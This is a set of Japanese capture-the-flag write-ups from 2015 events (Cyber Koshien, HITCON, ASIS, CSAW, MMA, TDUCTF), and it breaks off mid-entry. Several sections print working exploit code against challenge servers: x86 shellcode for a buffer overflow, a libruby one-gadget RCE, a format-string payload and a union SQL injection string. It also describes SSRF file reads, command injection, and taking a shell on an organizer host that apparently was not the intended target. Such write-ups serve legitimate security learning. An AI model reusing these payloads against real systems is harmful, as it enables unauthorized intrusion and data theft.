サイバー甲子園 参加レポート

SECCON実行委員会/JNSAが主催するサイバー甲子園という大会に@_N4NU_と一緒にscryptosとして参加して優勝してきた.

@_N4NU_のwriteup: http://nanuyokakinu.hatenablog.jp/entry/2015/11/08/102550

出題された問題の1行write-up

TRY FIRST (sample 10):

flagをsubmitするだけ

Find from binary (binary 100):

32-bit ELF.a=1; if(a>2) { print(flag); }なのでeipを適当に飛ばすだけ

Guess the flag (binary 200):

32-bit ELF. 入力がflagかどうかをチェックするバイナリで,.rodataのバイト列と0xffをxorしてflag

Where is the flag (binary 300):

.NET binary.限られた環境でしか起動できないらしく,静的解析だけでは解けなかった.

Easy decrypto (crypto 100):

base64 decodeしてflag

Simple crypto (crypto 100):

rot13を戻すだけ

Access to restricted url (network 100):

pcap.httpのパケットでBasic認証のパスワードがflagになっている

Invisible message (network 100):

特定の条件を満たすtcpパケットのidentificationの1バイト目を繋げるとflag

Follow the mail (network 300):

smtpのパケット.メールの本文を読んでflag.zipのパスワードをguessしておわり

National flag (programming 100):

turtleで国旗を描画するpythonのコード.適当に書き換えて動かして画像検索しておわり

BaseBall (programming 300):

野球のシミュレーション.気合で書いておわり

RPN (programming 200):

逆ポーランド記法の式で,リテラルがnum(基数)の形になっているので適当にパースして投げるだけ 答えをlong_to_bytesしてflag.

Invisible flag (web 100):

flag.phpにアクセスすると30x redirectで飛ばされる.response bodyにflag

Login (web 100):

気付いたらflagが出ていた.よくわからない

Your browser is not supported (web 200):

UAがnetscapeだとflagが出るっぽい.引っ張ってきたUAのリストからランダムに選んで投げさせていたら解けた

Excel (unknown 100):

excelの各セルのbackground-colorを消すとflagのascii artが出てくる

Invisible (unknown 100):

pngのstego.stegsolveなどに投げておわり

PDF (unknown 100):

flagが黒塗りで隠されているpdf.読むだけ

Who is author (unkown 200):

適当にgoogle検索して投げるだけ

Excel, Find from binary, Guess the flag, Invisible message, Follow the mailは@_N4NU_に解いてもらった.

まとめ

優勝はやるだけ,難易度の割に問題数が少なく差を付けにくかった.

HITCON CTF 2015 Quals rsabin write-up

rsabin (Crypto 314)

author: 193s (fuzzi3)

Python script rsabin.py and an encrypted flag was given.
The modulo, N was 314-bit, so first of all I started factoring N using yafu.
It took over 70 minutes…
p = 164184701914508585475304431352949988726937945291
q = 123722643358410276082662590855480232574295213977

Looks good, there we go!

rsabin = rsa + rabin

It seems like you just need to calculate m = c^d (mod N) where private key, d = mod_inv(e, φ(N)), but it won’t work: In this case, mod_inv(e, φ(N)) can’t be calculated! Yes, e, RSA’s public exponent must be chosen as co-prime to φ(N).

e = 31415926535897932384 = 2^5 * 563 * 15647 * 93967 * 1186001

φ(N) = (p-1)(q-1) = 2^4 * 3^2 * 5 * 13 * 3769 * 27077 * 17846641 * 83901947 * 159936353 * 310427287 * 95195293927205442569 * 3004887825587533352438332710071

The challenge title rsabin reminded me of rsa and rabin!
The encryption algorithm for rabin cipher (in case k=0) is as follows:
c = m^2 mod N
I was certain that I can calculate m^(e/2) mod N from m^e mod N when e is an even number.

So, what I need to do is:

  • apply this method 5 times, then I get c' = m^e' mod N where e’ = e/32 (satisfies gcd(e', φ(N)) = 1)
  • decrypt m with normal RSA:
    d' = mod_inv(e', φ(N)), m = c'^d' mod N.

Note that decryption algorithm for rabin cipher returns 4 numbers (m1, m2, m3, m4), and the right plaintext is one of them (there is no way to tell which is the correct one). Because of this, there are 4**5=1024 possible ways of c'.

bruteforcing missing info

I calculated m by using above method for 1024 possible combinations (actually only 16 unique values satisfied m'^e = c), but none of them looked like a flag.

rsabin.py:

1
2
flag = open('flag').read().strip()
assert len(flag) == 50

What?! FLAG is 400-bits length but N is 314-bits?
ok, that means that some upper bits of the flag are missing. (now I have m = FLAG mod N, so just need to know i satisfies FLAG = iN+m)
( I contacted the admin and made sure that the flag is not in the following format: \x00\x00\x00...\x00hitcon{....} )

We know that the flag starts with hitcon{, followed by ascii-printable characters, and ends with }, so I tried to bruteforce i (satisfies FLAG = iN+m) to find the flag matches ^hitcon{[:print:]+}$ for each m.

I wrote a little script, and after 20 minutes, my script showed me the flag!

flag: hitcon{Congratz~~! Let's eat an apple pi <3.14159}

solver: https://gist.github.com/193s/c1391481a1977dcb1570

ASIS CTF Finals 2015 write-up

scryptosとして参加.2576pts, 9位でした.
解いた問題: What’s example flag?, Flag Hunter, ultra compression, My blog, Impossible, Bodu, shop-1

My blog (Web 150)

first solveを取った.

/robots.txtDisallow: /myblog_private_dir3ct0ryという記述がある.手元からアクセスしても403を返すが,printpage.phpがHTTPのRefererヘッダのURLに対してGETを飛ばしてpdfにしているのでこれを利用してhttp://myblog.asis-ctf.ir:8088/myblog_private_dir3ct0ry/を読ませてみたらログインページっぽいものが出てきた.どうやらアクセス元のipが向こうのものであったら通してくれるっぽい.

しかし,HTMLのコードが読めないのでどこに対してどういう形のloginリクエストを投げているのかが不明.ここで偶然87.107.123.3:31337でqualsのpwn問題,saw thisのバイナリが動いていることに気が付いた(!!).チームメンバーが過去に書いていたexploitを使ってshell奪取,/tmp, /var/tmpが潰されていたものの/dev/shmは使えたのでここで適当に手元からシェルスクリプトを転送しながら作業していたらloginページのソースコードが取れた.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<title>My blog - Admin Panel</title>
</head>
<body>
<div>
<h1>My Blog</h1>
<h2>Admin Panel</h2>
</div>
<div>
<form>
<input type="text" name="username" placeholder="Username"/>
<input type="text" name="password" placeholder="Password"/>
<input type="submit" name="login" value="Login"/>
</form>
</div>
</body>
</html>

SQLi等は必要なくadmin:adminで入れた.
curl 'http://myblog.asis-ctf.ir:8088/printpage.php?id=2417648298' -H "Referer: http://myblog.asis-ctf.ir:8088/myblog_private_dir3ct0ry?username=admin&password=admin&login=Login" > 🏁.pdf

flag: ASIS{9c846eab5200c267cb593437780caa4d}

ultra compression (Web 125)

こちらもfirst solveを取った.

ファイルを/ajax_php_file.phpにpostするとcompressしたファイルをへのリンクを表示する(URLだけで実際にはダウンロードできない,運営によるとこれが正常な動作らしい).

返されるリンクはhttp://ucs.asis-ctf.ir/download.php?id=????の形で,idの生成法則を見てみるとファイル名と一対一に対応している.;を入れるとidが途切れることなどから,(状況的に無理がある気もしたが)OSコマンドインジェクションの匂いを感じた.PHPSESSIDごとにキーが異なる単一換字暗号によってidが作られていることがわかったので,PHPSESSIDを固定した上でテーブルを作ってpayload作成->適当なコマンドを実行させてみたところ成功した.あとはやるだけ.
ls / -> vmlinuz
ls /home/ -> asis
ls /home/asis -> flag.txt
cat /home/asis/flag.txt -> 🏁
flag: ASIS{72a126946e40f67a04d926dd4786ff15}

Bodu (Crypto 175)

問題名からしてRSA Boneh-Durfee’s Attack.
d = 89508186630638564513494386415865407147609702392949250864642625401059935751367507
flag: ASIS{b472266d4dd916a23a7b0deb5bc5e63f}

Impossible (Web 225)

PHP MD5 collision.users.datのuser名の中にmd5が^0eなものが存在するので,collisionを見つけてregister.phpでパスワードを抜いてlogin -> 🏁
flag: ASIS{d9fb4932eb4c45aa793301174033dff9}

shop-1 (pwn 100)

login時のbuffer over-readによってmemcmpの戻り値がleakできる.

  1. 一度adminでlogin試行
  2. guestでlogin & leak
  3. logout

を繰り返すことでadminのパスワードが1文字ずつ特定できるので,適当にコードを書いて求めた.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
from ebil import * # <- https://github.com/193s/ebil
import struct
exec ebil('./bragisdumu-shop', arch='x86_64', remote=('185.106.120.220', 1337))
flag = ''
while True:
# login
sendline('admin')
sendline(flag + '\xff')
sendline('guestaaaaaaaaaaaaaaaaaaaaaaaaaaa')
password = 'guestbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'
sendline(password)
r.recvuntil(password)
line = r.recvline().strip()[0:4]
print hexdump(line)
diff = struct.unpack('<i', line.ljust(4, '\x00'))[0]
flag += chr(0xff-diff)
log.success('password: %s' % flag)
# logout
sendline('8')
r.recvuntil('Username: ')

flag: ASIS{304b0f16eb430391c6c86ab0f3294211}

CSAW CTF 2015 writeup

CSAW CTF Qualification Round 2015にvulscryptosとして参加しました.
31/35問を解いて5860pt 14位(日本勢1位)でした.


チームメンバーのwriteup:

CSAW CTF 2015 writeup - しゃろの日記 http://charo-it.hatenablog.jp/entry/2015/09/23/144438

write-ups

僕がsubmitしたflagはweb200+web500+web600+exp100+exp400+crypto50+crypto50+crypto50+rev300+for100で,比較的面白かった問題のwriteupをいくつか置いておきます.

notesy (crypto 100)

flagをencryptしてくれるサービス.見るからに単一換字なのだが,encryptされたflagが見つからない.
pythonでデコーダを書いてチームのdocsに置いておいたら誰かが解いてくれた.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
from sys import argv
enc_table = 'UNHMAQWZIDYPRCJKBGVSLOETXF'
def decrypt(s):
print 'enc:', s
def dec_char(c):
if c in enc_table:
offset = enc_table.find(c)
return chr(ord('a')+offset)
else:
return c
return ''.join([dec_char(c) for c in s])
print decrypt(argv[1].upper())

UNHMAQWZIDYPRCJKBGVSLOETXFがflagだったらしい.クソ

Weebdate (Web 500)

適当なアカウントでログインして遊んでいると,edit profileのところでプロフィール画像のURLに対してurllibでアクセスしているっぽいことがわかる.
file://localhost:/etc/passwdのようなURLを入れることで任意のファイルが読めることに\@a_r_g_v氏が気付き,数分後にサーバー側で動いているコード(/var/www/weeb/server.pyutils.py, settings.py)を取得した.
ログインしたいアカウントのidはdonaldtrump
あることがわかっていたので,これでコードの通りにsessionを生成するとdonaldtrumpのアカウントでログインできた.
が,この時点でまだweb500のsolvesは0であり,プロフィールや他のアカウントとのメッセージのやり取りを見てもflagが見つからない.IRCでコンタクトを取ろうとしても作問者が寝ているので待ってとのこと(クソ)だったのでしばらく待っていると,数時間後に次のhintが公開された.
Flag is md5($totpkey.$password)

どうやらdonaldのアカウントでログインするだけでは不十分で,平文のパスワードとtotpkeyを取得する必要があるらしい.totpkeyは容易に求まるが,パスワードに関しては見た感じSQL injectionの脆弱性もないし,そもそもデータベースに格納されているのはsha256(username+password)だし……

しばらくserver.pyを眺めていると,get_csp_reportにSQLiの脆弱性があることに気付いた.

1
2
3
4
def get_csp_report(report_id):
cursor = mysql.connection.cursor()
cursor.execute( 'select * from reports where report_id = %s'% (report_id,) )
return FetchOneAssoc(cursor)

ここだけcursorのplaceholderではなく%を使ってformatされていた.本来ならここは%ではなく,が入るべきだった(1文字違い).わかりにくいバグだ……

というわけでcsp_reportの方で
1 and 1=2 union select 1, user_password from users where user_name='donaldtrump';--
のようなクエリを投げるとdonaldのuser_passwordが抜けた.
あとは

1
sha256('donaldtrump'+password) = 22e59a7a2792b25684a43d5f5229b2b5caf7abf8fa9f186249f35cae53387fa3

となるようなpasswordを求めるだけ.
適当に総当たりをするコードを書いて動かしていたらzebraが見つかった.

totpkey: 6OIMTPLHSQ6JUKYP
password: zebra
$ echo -n '6OIMTPLHSQ6JUKYPzebra' | md5sum

flag: a8815ecd3c2b6d8e2e884e5eb6916900

precision (Exp 100)

canaryっぽいのが実装されている.運営のミスで問題ファイルが2回ぐらい変わってキレた.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
from ebil import * # <- https://github.com/193s/ebil
exec ebil('./precision_a8f6f0590c177948fe06c76a1831e650', remote=('54.173.98.115', 1259))
r.recvuntil('Buff: ')
addr_buf = int(r.recvline(), 16)
log.success('addr_buf = ' + hex(addr_buf))
patt = '\xA5\x31\x5A\x47\x55\x15\x50\x40'
payload = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x33\xc0\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\xcd\x80'.ljust(56, '\x90')
payload += (patt*10)
payload += p(addr_buf)*100
sendline(payload)
interact()

flag: flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}

FTP (Rev 300)

認証部分のコードを読んでいると,
username: blankwallで独自のhash値が0xD386D209になるパスワード送れば良いことがわかる.
hash値の計算部分を見てみると

1
2
3
4
5
int myhash(const char *x) {
int ret = 5381;
for (int i = 0; x[i]; ++i ) ret = 33 * ret + x[i];
return ret;
}

このような感じになっていて,2週間前のMMACTFの問題(Simple Hash)と同じなことがわかる(Mod=4294967296).
http://charo-it.hatenablog.jp/entry/2015/09/08/005012 にあるしゃろプロのソルバのパラメータを書き換えて動かしたらpasswordが求まった.
password: UJD737

というわけでpasswordの時だけ^Dで入力を切るとログインできた.
RDFを叩いてflag.

flag: flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}

memeshop (Exp 400)

解法はしゃろプロのwriteupに詳しく書いてあるのでそちらを参照してください.

一応exploitだけ:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
from ebil import * # <- https://github.com/193s/ebil
exec ebil('./memeshop.rb', remote=('52.3.190.202', 1337), arch='x86_64')
if LOCAL: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if REMOTE: libc = ELF('libc-2.19.so')
def gen_shell_payload():
if LOCAL: one_gad_rce = libruby_base + 0x115a80
if REMOTE: one_gad_rce = libruby_base + 0x1129f0
payload = (chain([
one_gad_rce,
]) * 1000)[:264]
return payload
def add_meme():
r.sendline('n')
def add_skeletal(payload):
r.sendline('m')
r.sendline(payload.encode('base64').strip())
###############################################################
sendline('p')
r.recvuntil('number bro: ')
filename = '/proc/self/maps'
sendline(filename.encode('base64').strip())
map_data = r.recvuntil('[vsyscall]').split('\n')
libruby_target_line = filter(lambda x: 'libruby' in x, map_data)[0]
libruby_base = int(libruby_target_line.split('-')[0], 16)
log.success('libruby_base = ' + hex(libruby_base))
r.recv()
for i in xrange(256):
add_meme()
add_skeletal(gen_shell_payload())
print '*******************************************************'
sendline('c')
interact()

flag: flag{dwn: please tell us your meme. I'm not going to stop asking}

最後に

今回は某社の会議室をお借りして会場6~10人+リモート5人ぐらいで取り組んでいました.
ピザ美味しかったです :)

MMA CTF 1st 2015に出た話

MMA主催のMMA CTF 1st 2015にscryptosとして参加しました.

チームとしては終了時点で2300pts,全体で10位,日本勢の中では1位という結果になりました.

チームメンバーのwriteup:

僕はチームのやるだけ担当なので100点以下のflagを9つ通しただけですが,Smart Cipher Systemの4とMoney Gameは面白かったのでwriteupを書いておきます.

write-ups?

Smart Cipher System (4)

システム自体は1~3と同じ.
いちいちWeb経由で投げるのは面倒なので適当にシェルスクリプトを書いて動かしていた:

1
2
3
4
#!/bin/sh
query="$1"
curl 'http://bow.chal.mmactf.link/~scs/crypt6.cgi' -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary02BDiWGl1MhWhe0T' --data-binary $'------WebKitFormBoundary02BDiWGl1MhWhe0T\r\nContent-Disposition: form-data; name="s"\r\n\r\n'"$query"$'\r\n------WebKitFormBoundary02BDiWGl1MhWhe0T\r\nContent-Disposition: form-data; name=".submit"\r\n\r\n\u6697\u53f7\u5316\r\n------WebKitFormBoundary02BDiWGl1MhWhe0T--\r\n' -s \
| grep '<h1>Smart Cipher System' | sed -E 's/^.*>([0-9a-f ]+)<fo.*$/\1/'

しばらく実験しながら適当に考察していた.

長さに応じて順番が定まっているらしく,45文字の適当な文字列を突っ込んでポチポチ対応表を作って対応させた.
順番さえ戻せれば何も考えずに連続する2文字のテーブルを作って暗号文と対応させるだけでflagが出る.

table.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
from subprocess import check_output
import itertools
import string
table = {}
charset = 'MMA{}0123456789abcdef'
for guess in itertools.product(charset, repeat=2):
x = ''.join(guess)
print x
res = check_output(['./ask', x])
table[x] = int(res.split(' ')[1], 16)
print repr(table)

table:

1
{'6{': 222, '6}': 95, 'M5': 166, 'M4': 134, 'M7': 230, 'M6': 198, 'M1': 38, 'M0': 6, '3M': 106, 'M2': 70, '3A': 10, 'M9': 39, 'M8': 7, '3{': 219, '3}': 235, '3c': 27, '3b': 19, '3a': 11, '3f': 51, '3e': 43, '3d': 35, 'Me': 172, 'Md': 140, 'Mf': 204, 'Ma': 44, 'Mc': 108, 'Mb': 76, 'M}': 175, 'M{': 111, '39': 201, '38': 193, 'MA': 40, 'MM': 169, '32': 145, '31': 137, '30': 129, '37': 185, '36': 177, '35': 169, '34': 161, '9a': 194, '9c': 198, '9b': 196, '9e': 202, '9d': 200, '9f': 204, '9{': 246, '9}': 250, '9M': 154, '9A': 130, '99': 114, '98': 112, '91': 98, '90': 96, '93': 102, '92': 100, '95': 106, '94': 104, '97': 110, '96': 108, 'f0': 12, 'f1': 76, 'f2': 140, 'f3': 204, 'f4': 13, 'f5': 77, 'f6': 141, 'f7': 205, 'f8': 14, 'f9': 78, 'f{': 222, 'f}': 95, 'fa': 88, 'fb': 152, 'fc': 216, 'fd': 25, 'fe': 89, 'ff': 153, 'fA': 80, 'fM': 83, '24': 208, '25': 212, '26': 216, '27': 220, '20': 192, '21': 196, '22': 200, '23': 204, '28': 224, '29': 228, '2A': 5, '2M': 53, '2}': 245, '2{': 237, '2d': 145, '2e': 149, '2f': 153, '2a': 133, '2b': 137, '2c': 141, 'ee': 172, 'ed': 140, 'ef': 204, 'ea': 44, 'ec': 108, 'eb': 76, 'e}': 175, '88': 56, '89': 57, 'e{': 111, '82': 50, '83': 51, '80': 48, '81': 49, '86': 54, '87': 55, '84': 52, '85': 53, 'eM': 169, 'eA': 40, '8b': 98, '8c': 99, '8a': 97, '8f': 102, '8d': 100, '8e': 101, '8{': 123, 'e9': 39, 'e8': 7, '8}': 125, 'e5': 166, 'e4': 134, 'e7': 230, 'e6': 198, 'e1': 38, 'e0': 6, 'e3': 102, 'e2': 70, '8M': 77, '8A': 65, '{3': 153, '1A': 130, '1M': 154, '1{': 246, '1}': 250, '1a': 194, '1c': 198, '1b': 196, '1e': 202, '1d': 200, '1f': 204, '11': 98, '10': 96, '13': 102, '12': 100, '15': 106, '14': 104, '17': 110, '16': 108, '19': 114, '18': 112, '{7': 185, '7f': 51, '7e': 178, '7d': 50, '7c': 177, 'M3': 102, '7a': 176, '{6': 177, '7}': 190, '7{': 189, '7A': 160, '7M': 166, '77': 155, '76': 27, '75': 154, '74': 26, '73': 153, '72': 25, '71': 152, '70': 24, '79': 156, '78': 28, 'd8': 131, 'd9': 147, 'd6': 99, 'd7': 115, 'd4': 67, 'd5': 83, 'd2': 35, 'd3': 51, 'd0': 3, 'd1': 19, 'df': 102, 'dd': 70, 'de': 86, 'db': 38, 'dc': 54, 'da': 22, 'd}': 215, 'd{': 183, 'dM': 212, 'dA': 20, '02': 50, '03': 51, '00': 48, '01': 49, '06': 54, '07': 55, '04': 52, '05': 53, '08': 56, '09': 57, '0A': 65, '0M': 77, '0{': 123, '0}': 125, '0b': 98, '0c': 99, '0a': 97, '0f': 102, '0d': 100, '0e': 101, '}5': 166, '}4': 134, '}7': 230, '}6': 198, '}1': 38, '}0': 6, '}3': 102, '}2': 70, 'cc': 27, 'cb': 19, 'ca': 11, '}9': 39, 'cf': 51, 'ce': 43, 'cd': 35, '60': 12, '61': 76, '62': 140, '63': 204, '64': 13, '65': 77, 'c}': 235, '67': 205, '68': 14, '69': 78, '7b': 49, 'cM': 106, 'cA': 10, '{4': 161, '6a': 88, '6b': 152, '6c': 216, '6d': 25, '6e': 89, '6f': 153, '}}': 175, '}{': 111, '}e': 172, '}d': 140, 'c9': 201, '}f': 204, '}a': 44, '}c': 108, '}b': 76, 'c3': 153, 'c2': 145, 'c1': 137, 'c0': 129, 'c7': 185, 'c6': 177, 'c5': 169, 'c4': 161, '6A': 80, '6M': 83, '33': 153, '}A': 40, '}M': 169, 'ac': 198, 'ab': 196, '42': 35, '5M': 169, '5A': 40, '5}': 175, '5{': 111, '5e': 172, '5d': 140, '5f': 204, '5a': 44, '5c': 108, '5b': 76, '}8': 7, 'c{': 219, '59': 39, '58': 7, '55': 166, '54': 134, '57': 230, '56': 198, '51': 38, '50': 6, '53': 102, '52': 70, '66': 141, 'b4': 208, 'b5': 212, 'b6': 216, 'b7': 220, 'b0': 192, 'b1': 196, 'b2': 200, 'b3': 204, 'b8': 224, 'b9': 228, 'bd': 145, 'be': 149, 'bf': 153, 'ba': 133, 'bb': 137, 'bc': 141, 'b}': 245, 'b{': 237, '{c': 27, 'bA': 5, '{b': 19, 'bM': 53, '{a': 11, '4M': 212, '{f': 51, '{e': 43, '{d': 35, 'Ab': 196, 'Ad': 200, 'aa': 194, '{2': 145, '{1': 137, '{0': 129, 'ae': 202, 'ad': 200, '{5': 169, 'af': 204, '{9': 201, '{8': 193, 'a{': 246, 'a}': 250, 'aA': 130, '48': 131, '49': 147, '46': 99, '47': 115, '44': 67, '45': 83, 'aM': 154, '43': 51, '40': 3, '41': 19, 'A1': 98, 'A0': 96, 'A3': 102, 'A2': 100, 'A5': 106, 'A4': 104, 'A7': 110, 'A6': 108, 'A9': 114, 'A8': 112, 'AA': 130, '{{': 219, 'AM': 154, '{}': 235, 'a1': 98, 'a0': 96, 'a3': 102, 'a2': 100, 'a5': 106, 'a4': 104, 'a7': 110, 'a6': 108, 'a9': 114, 'a8': 112, 'A{': 246, '4A': 20, 'Aa': 194, 'Ac': 198, '4}': 215, 'Ae': 202, '4{': 183, 'Af': 204, 'A}': 250, '{A': 10, 'c8': 193, '4f': 102, '4d': 70, '4e': 86, '4b': 38, '4c': 54, '{M': 106, '4a': 22}

solve.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
enc_table = eval(open('./table').read())
def parse(s):
return map(lambda x: int(x, 16), s.split(' '))
enc_raw = '62 a9 6c 28 0e 33 31 c6 68 cd 66 66 59 46 cc 53 0c 98 31 65 c6 35 c9 a9 60 4e 37 b0 33 46 0d 60 46 26 66 33 cc e6 a9 f6 6c 07 2b 23 af'
enc = parse(enc_raw)
# byte flipping; ex: 0xfc -> 0xcf
def byteflip(b): return int(hex(b)[2:][::-1], 16)
_sortbytes_table = [
(44, 44), (43, 42), (42, 40), (41, 38), (40, 36), (39, 34), (38, 32), (37, 30), (36, 28), (35, 26), (34, 24), (33, 22), (32, 20), (31, 18), (30, 16), (29, 14), (28, 12), (27, 10), (26, 8), (25, 6), (24, 4), (23, 2), (22, 0), (21, 33), (20, 21), (19, 41), (18, 19), (17, 31), (16, 17), (15, 37), (14, 15), (13, 29), (12, 13), (11, 43), (10, 11), (9, 26), (8, 9), (7, 35), (6, 7), (5, 25), (4, 5), (3, 39), (2, 3), (1, 23), (0, 1),
]
def sortbytes_rev(li):
assert len(li) == 45
res = []
for i in xrange(len(li)):
index = [x for x in _sortbytes_table if x[0] == i][0][1]
res += [li[index]]
return res
enc = sortbytes_rev(enc)
print ' '.join(map(lambda x:hex(x)[2:], enc))
flag = ''
for i in xrange(0, 45):
print '[*] %d/45' % i
print flag
if i == 0: flag += chr(byteflip(enc[i]) / 2)
else:
kouho = [key[1] for key in enc_table if key[0] == flag[i-1] and enc_table[key] == enc[i]]
if kouho == []: flag += 'a'
else: flag += kouho[0]
print flag

MMA{f9cf7a3ddd5710e85116814fef01c907f4df35ce}

配点低すぎない…?

Money Game

Reverse, PPC, Pwnということで,不穏なジャンルだなあと思いながら解析していた.しゃろプロがゲームクリア後の名前を入力する部分でのfsbの脆弱性を見つけてくれた.
ゲーム部分をPPCとして処理する必要があるらしく,また乱数のseed(srand)はtime(NULL)から引いていたのでこれも利用して競プロのプロであるところのとさかプロにお願いしてソルバを書いてもらった.
入出力(通信)部分などは僕が書いて,そこからソルバを呼び出して返すようにした.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python
from ebil import * # -> https://github.com/193s/ebil
import re
from subprocess import check_output
exec ebil('./moneygame', remote=('pwn1.chal.mmactf.link', 21345))
cmds = check_output('./solve').split('\n')
def _s(cmd, a):
r.recvregex('.*Action .*: ')
r.sendline(cmd)
r.recvuntil(']: ')
r.sendline(str(a))
def buy_or_sell(cmd, a, b):
_s(cmd, a)
r.recvuntil(']: ')
r.sendline(str(b))
def buy(stock, num):
buy_or_sell('Buy', stock, num)
def sell(stock, num):
buy_or_sell('Sell', stock, num)
def stay():
r.recvregex('.*Action .*: ')
r.sendline('Rest')
def buy_or_sell_all(cmd, a):
_s(cmd, a)
r.recvuntil('0-')
max_num = r.recvuntil(')', drop=True)
#print 'max:', max_num
r.sendline(str(max_num))
def buy_all(stock):
buy_or_sell_all('Buy', stock)
def sell_all(stock):
buy_or_sell_all('Sell', stock)
restmode = False
for i in xrange(54):
r.recvuntil('Week')
r.recvline()
r.recvline() # you have ??~
items = []
for j in [1, 2, 3]:
s = r.recvline()
if restmode:
stay()
continue
cmd = cmds[i]
#print '$', cmd
if cmd == '':
restmode = True
stay()
continue
if 'Stay' in cmd: stay()
else:
op = int(cmd.split(' ')[1])+1
if 'Sell' in cmd: sell_all(op)
if 'Buy' in cmd: buy_all(op)
print r.recv()
sendline('\xb8\xa2\x04\x08%46c%7$hhn') # -> flag2
#sendline('give_me_flag') -> flag1
print r.recv()

特にローカルとの時差はないようなのでそのままローカルの時間で動かすだけで済んだが,精度が良くないようで20回ぐらい実行しないとクリアできなかった.
flag2のfsbのpayloadはしゃろプロが事前に書いてくれていたのでそれを入れるだけで取れた.(filenameの”flag1”を”flag2”に書き換えるだけ)

flag1: MMA{YouAreRichPerson}
flag2: MMA{FLAG_F0rmatStringAttack!}

flag2はボーナス問題でした

解けなかった問題

regrettable ecc

やるだけ,終わってから問題見たらすぐ解けたので本当につらい

login as admin!(2)

memcachedを使っているのはわかっていたがinjectionできるのを知らなかった…

perfect matching

PPC部分はとさかプロにソルバをお願いしていて,最初の方のケースではいい感じに動いていたが,問題の生成法則だとgenerator2あたりから解がないケースが出てきてしまう.ずっと回していたがcase 21がまでが限界だった.
負数のindexを突っ込むことで同じノードが2回使えるということに気付けず終了(本当にすいません)

alicegame

ElGamal暗号.m=1,r=1みたいなクエリを投げることで公開鍵のパラメータ(p, g, h)は特定できる(ここまではCTF中に書いていた).

p-1の素因数がある程度小さいとPohlig-Hellman algorithmなどで離散対数(h=g^x mod pなるx = 秘密鍵)が高速に求まる.
pは途中から公開されたコードを読むとCrypto.Util.number.getPrime(201)で生成していることがわかる.何回か試行すれば上の条件を満たすpが引けるのでそのまま秘密鍵xを出して終了.
書くだけ(まだ解けてない) 時間さえ掛ければ解けていた気がするので悔しい…. 学校休めばよかった…

最後に

問題の質もとても良く,本当に楽しいCTFでした.精進します

TDUCTF 2015の感想とwriteup




@_193sです.
開催1日前に突然枠が空いたのでTDUCTF 2015に参加してきました.


  • 会場が遠くて迷った
  • スコアサーバー(のクライアントアプリ)がElectron製ですごい




  • インフラすごい
  • CTF開始前のLT中にスコアサーバー弄ってたらフラグが出てきた(XSS meという問題のFlagだった)
  • 問題数が多くてひたすら忙しい
  • 問題が出て10秒~1分以内に解くみたいなのを3問ぐらいでやったので大量にfirst solveボーナスが取れてよかった
  • 世界3位だから3位だった

  • というわけで解いた問題全部のwriteupを丁寧に書きました

write-ups

練習問題 (Example 39)

solves: 68

1
2
3
4
フラグは TDU{なにか} の形で得られます。
TDU{SAKURAInternet}
by @chibiegg

問題文を読む能力
flag: TDU{SAKURAInternet}

String Compare (Binary 100)

solves: 10

1
2
3
フラグには必ずTDU{}を付けてね。
https://score.sakura.tductf.org/files/3/StringCompare.exe

MS-DOS executable.
実行して標準入力に適当な文字列を与えるとThis_is_not_flag :)と言われる.

適当にバイナリを読むと
41A91A82F42C2B593623B420953C73572BEDC2E45165162CC856FB1BA57BD410
で通ることがわかるので,問題文に従ってTDU{}を付けてスコアサーバーにsubmitしたら通った.

(これstrings+エスパーだけで解けそう)

flag: TDU{41A91A82F42C2B593623B420953C73572BEDC2E45165162CC856FB1BA57BD410}

clock (Misc 150)

solves: 53

1
2
3
4
この写真が撮影された時間(秒は切り捨て)がFLAGです。
: 2015/08/30 14:00:00 JSTTDU{2015_08_30_14_00}
https://score.sakura.tductf.org/files/4/clock.jpg

時計が映ったjpg.
exiftoolにかけたら時刻が出てきたのでTDU{2015_01_02_11_35}を投げたけど通らない.

1
2
3
4
5
6
7
193s@mbp193s:~/CTF/TDUCTF/2015B/misc/clock$ exiftool clock.jpg
ExifTool Version Number : 9.71
File Name : clock.jpg
...
Date/Time Original : 2015:01:02 11:35:01
Create Date : 2015:01:02 11:35:01
...

よく問題文を見たらFlagはJSTだったので9時間足したら通った.
写真からグリニッジ天文台の時計だとわかっていたが,exif情報からも経度が確認できるので時差は適当に出しましょう.

1
2
3
GPS Latitude : 51 deg 28' 40.53" N
GPS Longitude : 0 deg 0' 4.67" W
GPS Position : 51 deg 28' 40.53" N, 0 deg 0' 4.67" W

flag: TDU{2015_01_11_11_35}

XSS me (Misc 100)

solves: 28

1
alert me.

普通のWeb問かと思って問題文を見たらURLがなかったので困惑してしばらく放置していたが,CTF開始前に見つけていたflagを入れたら通った(謎).

クライアントアプリで開発者ツールみたいなものをCtrl+alt+iなどで開いてElementsのところを眺めていると見つかる.

1
